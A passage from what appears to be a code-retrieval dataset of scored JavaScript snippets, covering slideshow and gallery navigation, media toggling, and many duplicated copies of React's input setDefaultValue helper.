0;\n } else {\n $(this)[0].play();\n }\n });\n });\n \n // handle pausing videos when the galley is closed\n gallery.listen('close', function() {\n $('.pswp__video').each(function() {\n $(this)[0].pause();\n });\n });\n \n gallery.init();\n \n });\n}", "title": "" }, { "docid": "78f1056398ec37be59d3034088bfa7ac", "score": "0.5493746", "text": "function isPlaying()\n{\n return state.isPlaying && state.view == \"slide\";\n}", "title": "" }, { "docid": "fbf338c9d6396b433f0013109c583bc1", "score": "0.5487377", "text": "setCurrentState(direction) {\n var b = a[0].tagName;\n\n if(b == \"VIDEO\")\n {\n var q = a[0].id;\n\n $('#' + q).get(0).pause();\n }\n\n\n if (direction.className == 'gallery-controls-Anterior') {\n\n this.carouselArray.unshift(this.carouselArray.pop());\n\n } else {\n\n this.carouselArray.push(this.carouselArray.shift());\n\n }\n\n this.updateGallery();\n\n }", "title": "" }, { "docid": "aed2f775331e8c1da386828d32802449", "score": "0.54850924", "text": "function startSlide() {\n reset();\n sliderImages[0].style.display = \"block\";\n}", "title": "" }, { "docid": "75668b7d824ae2a52fd56d37f3730625", "score": "0.5475578", "text": "function positionSlides(){\n\t\t\n\t\tvar slides = t.getSlidesReference();\n\t\tvar posX = 0, posY = 0, innerWidth;\n\t\tvar posXPrev=0, posXCurrent = 0, posXNext, nextHasItem, prevHasItem;\n\t\t\t\t\n\t\tnextHasItem = t.isSlideHasItem(slides.objNextSlide);\n\t\tprevHasItem = t.isSlideHasItem(slides.objPrevSlide);\n\t\t\n\t\tif(prevHasItem){\n\t\t\tposXCurrent = slides.objPrevSlide.outerWidth();\n\t\t\tslides.objPrevSlide.css(\"z-index\",1);\n\t\t}else\n\t\t\tslides.objPrevSlide.hide();\t\t\t\n\t\t\n\t\tposXNext = posXCurrent + slides.objCurrentSlide.outerWidth();\n\t\t\n\t\tinnerWidth = posXNext;\n\t\tif(nextHasItem){\n\t\t\tinnerWidth = posXNext + slides.objNextSlide.outerWidth();\n\t\t\tslides.objPrevSlide.css(\"z-index\",2);\t\t\n\t\t}else\n\t\t\tslides.objNextSlide.hide();\n\t\t\n\t\tslides.objCurrentSlide.css(\"z-index\",3);\n\t\t\n\t\t//set inner size and position\n\t\tg_functions.placeElement(slides.objCurrentSlide, posXCurrent, posY);\t\t\n\t\tg_objInner.css({\"left\":-posXCurrent+\"px\", width:innerWidth+\"px\"});\n\n\t\t//position prev\n\t\tif(prevHasItem){\n\t\t\tg_functions.placeElement(slides.objPrevSlide, posXPrev, posY);\n\t\t\tg_functions.showElement(slides.objPrevSlide);\n\t\t}\n\t\t\n\t\tif(nextHasItem){\n\t\t\tg_functions.showElement(slides.objNextSlide);\n\t\t\tg_functions.placeElement(slides.objNextSlide, posXNext, posY);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "75668b7d824ae2a52fd56d37f3730625", "score": "0.5475578", "text": "function positionSlides(){\n\t\t\n\t\tvar slides = t.getSlidesReference();\n\t\tvar posX = 0, posY = 0, innerWidth;\n\t\tvar posXPrev=0, posXCurrent = 0, posXNext, nextHasItem, prevHasItem;\n\t\t\t\t\n\t\tnextHasItem = t.isSlideHasItem(slides.objNextSlide);\n\t\tprevHasItem = t.isSlideHasItem(slides.objPrevSlide);\n\t\t\n\t\tif(prevHasItem){\n\t\t\tposXCurrent = slides.objPrevSlide.outerWidth();\n\t\t\tslides.objPrevSlide.css(\"z-index\",1);\n\t\t}else\n\t\t\tslides.objPrevSlide.hide();\t\t\t\n\t\t\n\t\tposXNext = posXCurrent + slides.objCurrentSlide.outerWidth();\n\t\t\n\t\tinnerWidth = posXNext;\n\t\tif(nextHasItem){\n\t\t\tinnerWidth = posXNext + slides.objNextSlide.outerWidth();\n\t\t\tslides.objPrevSlide.css(\"z-index\",2);\t\t\n\t\t}else\n\t\t\tslides.objNextSlide.hide();\n\t\t\n\t\tslides.objCurrentSlide.css(\"z-index\",3);\n\t\t\n\t\t//set inner size and position\n\t\tg_functions.placeElement(slides.objCurrentSlide, posXCurrent, posY);\t\t\n\t\tg_objInner.css({\"left\":-posXCurrent+\"px\", width:innerWidth+\"px\"});\n\n\t\t//position prev\n\t\tif(prevHasItem){\n\t\t\tg_functions.placeElement(slides.objPrevSlide, posXPrev, posY);\n\t\t\tg_functions.showElement(slides.objPrevSlide);\n\t\t}\n\t\t\n\t\tif(nextHasItem){\n\t\t\tg_functions.showElement(slides.objNextSlide);\n\t\t\tg_functions.placeElement(slides.objNextSlide, posXNext, posY);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "2050d2cbf3192260a6016f9f2f893a2c", "score": "0.5468991", "text": "function onCurrentSlideImageLoadEnd(){\n\t\t\n\t\tif(t.isPlayMode() == true)\n\t\t\tt.continuePlaying();\n\t}", "title": "" }, { "docid": "2050d2cbf3192260a6016f9f2f893a2c", "score": "0.5468991", "text": "function onCurrentSlideImageLoadEnd(){\n\t\t\n\t\tif(t.isPlayMode() == true)\n\t\t\tt.continuePlaying();\n\t}", "title": "" }, { "docid": "456a41e2fa15e4cb044aeb22ade4cb15", "score": "0.5467289", "text": "next() {\n // Get slides iterator\n const slides = this.slides.entries();\n\n // Iterate slides\n for (const [id, {}] of slides) {\n // Check if slide matches current\n if (this.current === id) {\n // Get next slide\n const next = slides.next().value;\n\n // Check if next slide exists\n if (next) {\n // Get slide id\n const [id, {}] = next;\n\n // Switch to next slide\n this.switch(id);\n } else {\n // Else switch to first slide\n this.switch(this.first);\n }\n }\n }\n }", "title": "" }, { "docid": "3fbe545ad1b970564cdf85ac93880ce4", "score": "0.5458361", "text": "function showThisSlide() {\n slides[currentSlide].className = \"fds-slide\";\n currentSlide = (currentSlide + 1) % slides.length;\n slides[currentSlide].className = \"fds-slide is-visible\";\n}", "title": "" }, { "docid": "77307542e6b807d18aec45e837497abc", "score": "0.54558957", "text": "function geser_slide(n) {\n showSlides(slideIndex += n);\n}", "title": "" }, { "docid": "77fc155b432731e2a02638b68b450b58", "score": "0.5455549", "text": "function slideDiv(toSlide,delayTime,fromWhatDirection,duration){\n\t$( window ).load(function() {\n\t\t\n\t\t$(toSlide).delay(delayTime).show('slide', { direction: fromWhatDirection }, duration);\n\t\t\n\t});\n}", "title": "" }, { "docid": "ea9255fbd523c8224b172e7d2b3c3f63", "score": "0.5438019", "text": "function plusSlides1(){ \n showSlides1(slideIndex1 += 1); \n }", "title": "" }, { "docid": "0acd240825bd8c2d7e74c897978d8631", "score": "0.54364866", "text": "function toggleMedia() {\n\t\t\tvar defined;\n\t\t\tfor (var i = 0; i < sheets.length; i++) {\n\t\t\t\tif (sheets[i].href && sheets[i].href.indexOf(href) > -1) {\n\t\t\t\t\tdefined = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (defined) {\n\t\t\t\tss.media = media || \"all\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsetTimeout(toggleMedia);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "8413dd6cccfeada00a1d0c7a81a61571", "score": "0.543614", "text": "function transition()\n{\n console.log(\"xxxx\");\n\n///sets the screen number \n if(screenNo < 8) \n///moves to next screen \n screenNo++; \n \n///for different strings/lines in all screens \n strsize=0; \n strsize1=0;\n strsize2=0;\n strsize3=0; \n strsize4=0;\n strsize5=0;\n \n soundplayed=false;\n}", "title": "" }, { "docid": "6d7abf065e6e3f21ef1a9528f5048ae5", "score": "0.5427361", "text": "function toggleMedia() {\n\t\tvar defined;\n\t\tfor (var i = 0; i < sheets.length; i++) {\n\t\t\tif (sheets[i].href && sheets[i].href.indexOf(ss.href) > -1) {\n\t\t\t\tdefined = true;\n\t\t\t}\n\t\t}\n\t\tif (defined) {\n\t\t\tss.media = media || \"all\";\n\t\t} else {\n\t\t\tsetTimeout(toggleMedia);\n\t\t}\n\t}", "title": "" }, { "docid": "c0136a20291a10539642f29e227c96c6", "score": "0.54270774", "text": "renderMedia() {\n const pin = this.state.pin;\n const image = this.getPinImage();\n if (pin.embed) {\n if (pin.embed.type === 'gif') {\n return this.renderGIF(pin, image);\n } else {\n return this.renderVideo(pin,image);\n }\n } else {\n return this.renderImage(pin, image);\n }\n }", "title": "" }, { "docid": "61f82393621f392455cc35301a04645e", "score": "0.5426269", "text": "function moveScreenForward(currentScreen, nextScreen){\n // create the Promise object that will be returned\n\n return new Promise(function(resolve, reject){\n // slide out the previous screen\n Promise.resolve(kendo.fx($(currentScreen)).slideIn(\"right\").add(kendo.fx($(currentScreen)).fadeIn()).duration(500).reverse()).\n then(function(){\n $(currentScreen).css(\"display\", \"none\"); // hide the current screen\n $(nextScreen).css(\"display\", \"block\"); // display the next screen\n $(window).scrollTop(0); // screen window to the top\n kendo.fx($(nextScreen)).slideIn(\"left\").add(kendo.fx($(currentScreen)).fadeIn()).duration(500).play();\n resolve(); // resolve the returned promise object\n });\n });\n}", "title": "" }, { "docid": "712edb72a584c3a431088d2b16065e05", "score": "0.5425491", "text": "function startSlides() {\r\n\t// build arrows/squarea div\r\n\tbuildArrows();\r\n\t// start slideshow timer\r\n\ttimeoutId = setTimeout(\"slideNext()\",5000);\r\n}", "title": "" }, { "docid": "c18991a8669c88393334d2b7287adcff", "score": "0.54190075", "text": "function slideNext() {\r\n\t// get number of slides\t\r\n\tvar slidesCount = slidesGetCount();\r\n\t// set slideCurrent\r\n\tif (slideCurrent >= slidesCount) {\r\n\t\tslideCurrent = 1;\r\n\t} else {\r\n\t\tslideCurrent++;\r\n\t}\r\n\t// hide all slides\r\n\thideSlidesAll();\r\n\t// show current slide\r\n\tvar slideCurrentName = \"slide\" + slideCurrent;\r\n\tvar slideToShow = document.getElementById(slideCurrentName);\r\n\tslideToShow.style.display = \"block\";\t\r\n\t// change sq img\r\n\tchangeSq(slideCurrent);\t\r\n\t// set timer\r\n\tif (slidesStatus == \"play\") {\r\n\t\ttimeoutId = setTimeout(\"slideNext()\",5000);\r\n\t}\t\r\n}", "title": "" }, { "docid": "76292b569236263751406fe5b40372bd", "score": "0.54164326", "text": "function changeSlides(target){\n\t\t\t\t\tif(target == 'next'){\n\t\t\t\t\t\tnewSlide = activeSlide + 1;\n\t\t\t\t\t\tif(newSlide > totalSlides - 1){\n\t\t\t\t\t\t\tnewSlide = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if(target == 'prev'){\n\t\t\t\t\t\tnewSlide = activeSlide - 1;\n\t\t\t\t\t\tif(newSlide < 0){\n\t\t\t\t\t\t\tnewSlide = totalSlides - 1;\n\t\t\t\t\t\t};\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnewSlide = target;\n\t\t\t\t\t};\n\t\t\t\t\tanimateSlides(activeSlide, newSlide);\n\t\t\t\t}", "title": "" }, { "docid": "73f2cb0900acd02e1564ce50ce067241", "score": "0.5415141", "text": "cycle() {\n if (!$$1.isHidden(document)) {\n this.slide(1);\n } else {\n this._paused = false;\n this._setTimer();\n }\n }", "title": "" } ]
d45cad419bb4e4884a8ae7e7ef1a85e6
For number inputs, the display value loses trailing decimal points. For email inputs, Chrome raises "The specified value is not a valid email address". Here we check to see if the defaultValue has actually changed, avoiding these problems when the user is inputting text
[ { "docid": "f679d1f9745fd3fb261d4c2a2b4aaac8", "score": "0.6681358", "text": "function setDefaultValue(node,type,value){if(// Focused number inputs synchronize on blur. See ChangeEventPlugin.js\ntype!=='number'||node.ownerDocument.activeElement!==node){if(value==null){node.defaultValue=toString(node._wrapperState.initialValue);}else if(node.defaultValue!==toString(value)){node.defaultValue=toString(value);}}}", "title": "" } ]
[ { "docid": "29c3bbfb2edc94a5c0c88a812872103a", "score": "0.6748988", "text": "function cleanNumber(value, defaultValue) {\n try {\n if (value == '')\n return defaultValue;\n value = parseFloat(value);\n if (isNaN(value))\n return defaultValue;\n // if (value < 0.01)\n // return defaultValue;\n return value;\n } catch(e) {\n return defaultValue;\n }\n }", "title": "" }, { "docid": "ce7f8884f1b051a3393547af99a3daeb", "score": "0.6744735", "text": "function setDefaultValue(node,type,value){if(// Focused number inputs synchronize on blur. See ChangeEventPlugin.js\ntype!=='number'||getActiveElement(node.ownerDocument)!==node){if(value==null){node.defaultValue=toString(node._wrapperState.initialValue);}else if(node.defaultValue!==toString(value)){node.defaultValue=toString(value);}}}", "title": "" }, { "docid": "caec954b61b51ecc392c16d67962b9cd", "score": "0.6723436", "text": "function setDefaultValue(node,type,value){if(// Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n\ttype!=='number'||getActiveElement(node.ownerDocument)!==node){if(value==null){node.defaultValue=toString(node._wrapperState.initialValue);}else if(node.defaultValue!==toString(value)){node.defaultValue=toString(value);}}}", "title": "" }, { "docid": "73e74737afd327e8586cb2d23a80ad4e", "score": "0.6674768", "text": "function setDefaultValue(node,type,value){if(// Focused number inputs synchronize on blur. See ChangeEventPlugin.js\ntype!=='number'||node.ownerDocument.activeElement!==node){if(value==null){node.defaultValue=''+node._wrapperState.initialValue;}else if(node.defaultValue!==''+value){node.defaultValue=''+value;}}}", "title": "" }, { "docid": "73e74737afd327e8586cb2d23a80ad4e", "score": "0.6674768", "text": "function setDefaultValue(node,type,value){if(// Focused number inputs synchronize on blur. See ChangeEventPlugin.js\ntype!=='number'||node.ownerDocument.activeElement!==node){if(value==null){node.defaultValue=''+node._wrapperState.initialValue;}else if(node.defaultValue!==''+value){node.defaultValue=''+value;}}}", "title": "" }, { "docid": "5884c7ecc076d3a69e6d64129c70ba22", "score": "0.6575796", "text": "function setDefaultValue(node, type, value) {\r\n if (\r\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\r\n type !== 'number' ||\r\n node.ownerDocument.activeElement !== node\r\n ) {\r\n if (value == null) {\r\n node.defaultValue = toString(node._wrapperState.initialValue)\r\n } else if (node.defaultValue !== toString(value)) {\r\n node.defaultValue = toString(value)\r\n }\r\n }\r\n }", "title": "" }, { "docid": "b26afec9eb07776e305afda06a1175d2", "score": "0.6566117", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n }", "title": "" }, { "docid": "b26afec9eb07776e305afda06a1175d2", "score": "0.6566117", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n }", "title": "" }, { "docid": "05a033d3f91ce88df4bf9c1c498178f9", "score": "0.65032405", "text": "function setDefaultValue(node, type, value) {\n\t if (\n\t // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n\t type !== 'number' || node.ownerDocument.activeElement !== node) {\n\t if (value == null) {\n\t node.defaultValue = toString(node._wrapperState.initialValue);\n\t } else if (node.defaultValue !== toString(value)) {\n\t node.defaultValue = toString(value);\n\t }\n\t }\n\t}", "title": "" }, { "docid": "05a033d3f91ce88df4bf9c1c498178f9", "score": "0.65032405", "text": "function setDefaultValue(node, type, value) {\n\t if (\n\t // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n\t type !== 'number' || node.ownerDocument.activeElement !== node) {\n\t if (value == null) {\n\t node.defaultValue = toString(node._wrapperState.initialValue);\n\t } else if (node.defaultValue !== toString(value)) {\n\t node.defaultValue = toString(value);\n\t }\n\t }\n\t}", "title": "" }, { "docid": "05a033d3f91ce88df4bf9c1c498178f9", "score": "0.65032405", "text": "function setDefaultValue(node, type, value) {\n\t if (\n\t // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n\t type !== 'number' || node.ownerDocument.activeElement !== node) {\n\t if (value == null) {\n\t node.defaultValue = toString(node._wrapperState.initialValue);\n\t } else if (node.defaultValue !== toString(value)) {\n\t node.defaultValue = toString(value);\n\t }\n\t }\n\t}", "title": "" }, { "docid": "8cda0db73709adc9bf91ea0816206b05", "score": "0.6490457", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "3145f024fdd4c950ee82b1b83d942e05", "score": "0.6482166", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "3145f024fdd4c950ee82b1b83d942e05", "score": "0.6482166", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "e1379c5598c9a4721621c2de7c7e2060", "score": "0.6460012", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if 